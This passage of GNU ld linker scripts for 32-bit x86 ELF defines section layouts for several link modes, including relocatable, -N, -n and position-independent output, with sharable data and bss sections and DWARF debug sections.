  .dynamic      0 : { *(.dynamic) }
  .got          0 : { *(.got) *(.igot) }
  .got.plt      0 : { *(.got.plt)  *(.igot.plt) }
  .data         0 :
  {
    *(.data)
  }
  .data1        0 : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data 0 :
  {
    *(.sharable_data)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
  }
  .bss          0 :
  {
   *(.dynbss)
   *(.bss)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
  }
  /* Sharable bss sections  */
  .sharable_bss 0 :
  {
    *(.dynsharablebss)
    *(.sharable_bss)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
  }
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
}

/* Script for ld -Ur: link w/out relocation, do create constructors */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
 /* For some reason, the Solaris linker makes bad executables
  if gld -r is used and the intermediate file has sections starting
  at non-zero addresses.  Could be a Solaris ld bug, could be a GNU ld
  bug.  But for now assigning the zero vmas works.  */
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  .interp       0 : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash         0 : { *(.hash) }
  .gnu.hash     0 : { *(.gnu.hash) }
  .dynsym       0 : { *(.dynsym) }
  .dynstr       0 : { *(.dynstr) }
  .gnu.version  0 : { *(.gnu.version) }
  .gnu.version_d 0: { *(.gnu.version_d) }
  .gnu.version_r 0: { *(.gnu.version_r) }
  .rel.init     0 : { *(.rel.init) }
  .rel.text     0 : { *(.rel.text) }
  .rel.fini     0 : { *(.rel.fini) }
  .rel.rodata   0 : { *(.rel.rodata) }
  .rel.data.rel.ro 0 : { *(.rel.data.rel.ro) }
  .rel.data     0 : { *(.rel.data) }
  .rel.tdata	0 : { *(.rel.tdata) }
  .rel.tbss	0 : { *(.rel.tbss) }
  .rel.ctors    0 : { *(.rel.ctors) }
  .rel.dtors    0 : { *(.rel.dtors) }
  .rel.got      0 : { *(.rel.got) }
  .rel.sharable_data	0 : { *(.rel.sharable_data) }
  .rel.sharable_bss	0 : { *(.rel.sharable_bss) }
  .rel.bss      0 : { *(.rel.bss) }
  .rel.ifunc    0 : { *(.rel.ifunc) }
  .rel.plt      0 :
    {
      *(.rel.plt)
    }
  .init         0 :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt          0 : { *(.plt) *(.iplt) }
  .text         0 :
  {
    *(.text .stub)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini         0 :
  {
    KEEP (*(.fini))
  } =0x90909090
  .rodata       0 : { *(.rodata) }
  .rodata1      0 : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame     0 : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  /* Exception handling  */
  .eh_frame     0 : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	0 : { *(.tdata) }
  .tbss		0 : { *(.tbss) }
  .preinit_array   0 :
  {
    KEEP (*(.preinit_array))
  }
  .init_array   0 :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array   0 :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .jcr          0 : { KEEP (*(.jcr)) }
  .dynamic      0 : { *(.dynamic) }
  .got          0 : { *(.got) *(.igot) }
  .got.plt      0 : { *(.got.plt)  *(.igot.plt) }
  .data         0 :
  {
    *(.data)
    SORT(CONSTRUCTORS)
  }
  .data1        0 : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data 0 :
  {
    *(.sharable_data)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
  }
  .bss          0 :
  {
   *(.dynbss)
   *(.bss)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
  }
  /* Sharable bss sections  */
  .sharable_bss 0 :
  {
    *(.dynsharablebss)
    *(.sharable_bss)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
  }
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
}

/* Script for -N: mix text and data on same page; don't align data */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.init       : { *(.rel.init) }
  .rel.text       : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) }
  .rel.fini       : { *(.rel.fini) }
  .rel.rodata     : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) }
  .rel.data.rel.ro   : { *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*) }
  .rel.data       : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) }
  .rel.tdata	  : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) }
  .rel.tbss	  : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) }
  .rel.ctors      : { *(.rel.ctors) }
  .rel.dtors      : { *(.rel.dtors) }
  .rel.got        : { *(.rel.got) }
  .rel.sharable_data	  : { *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*) }
  .rel.sharable_bss	  : { *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*) }
  .rel.bss        : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) }
  .rel.ifunc      : { *(.rel.ifunc) }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = .;
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -n: mix text and data on same page */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.init       : { *(.rel.init) }
  .rel.text       : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) }
  .rel.fini       : { *(.rel.fini) }
  .rel.rodata     : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) }
  .rel.data.rel.ro   : { *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*) }
  .rel.data       : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) }
  .rel.tdata	  : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) }
  .rel.tbss	  : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) }
  .rel.ctors      : { *(.rel.ctors) }
  .rel.dtors      : { *(.rel.dtors) }
  .rel.got        : { *(.rel.got) }
  .rel.sharable_data	  : { *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*) }
  .rel.sharable_bss	  : { *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*) }
  .rel.bss        : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) }
  .rel.ifunc      : { *(.rel.ifunc) }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (12, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -pie -z combreloc -z now -z relro: position independent executable, combine & sort relocs */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.dyn        :
    {
      *(.rel.init)
      *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*)
      *(.rel.fini)
      *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*)
      *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*)
      *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*)
      *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*)
      *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*)
      *(.rel.ctors)
      *(.rel.dtors)
      *(.rel.got)
      *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*)
      *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*)
      *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*)
      *(.rel.ifunc)
    }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
